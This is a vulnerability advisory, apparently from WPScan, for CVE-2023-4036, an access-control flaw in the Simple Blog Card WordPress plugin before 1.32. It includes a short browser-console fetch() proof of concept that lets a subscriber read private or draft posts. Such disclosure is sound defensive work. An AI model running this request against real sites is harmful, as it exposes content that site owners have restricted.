Simple Blog Card < 1.32 – Subscriber+ Arbitrary Post Access | CVE 2023-4036 | Plugin Vulnerabilities

Description

The plugin does not ensure that posts to be displayed via a shortcode are public, allowing any authenticated users, such as subscriber, to retrieve arbitrary post title and their content such as draft, private and password protected ones

Proof of Concept

Run the below command in the developer console of the web browser while being on the blog as a subscriber user

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[simpleblogcard url='?p=53']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

53 being the ID of a draft/private/password protected post

Affects Plugins

simple-blog-card

Fixed in 1.32

References

CVE

Classification

Type

IDOR

OWASP top 10

A5: Broken Access Control

CWE

CVSS

Miscellaneous

Original Researcher

Erwan LR (WPScan)

Submitter

Erwan LR (WPScan)

Verified

Yes

WPVDB ID

de3e1718-c358-4510-b142-32896ffeb03f

Timeline

Publicly Published

2023-08-07 (about 2 years ago)

Added

2023-08-07 (about 2 years ago)

Last Updated

2023-08-07 (about 2 years ago)

Other

Published

Title

Published

2024-12-11

Title

ElementInvader Addons for Elementor < 1.3.2 - Missing Authorization to Arbitrary Options Read

Published

2024-09-06

Title

ForumWP – Forum & Discussion Board Plugin < 2.1.0 - Insecure Direct Object Reference to Authenticated (Subscriber+) Privilege Escalation via Account Takeover

Published

2024-11-20

Title

If-So Dynamic Content Personalization < 1.9.2.2 - Authenticated (Contributor+) Post Disclosure

Published

2020-06-27

Title

Advanced Forms < 1.6.9 - Subscriber+ Arbitrary User Email Address Update via IDOR

Published

2025-06-23

Title

MDJM Event Management <= 1.7.6.3 - Subscriber+ Privilege Escalation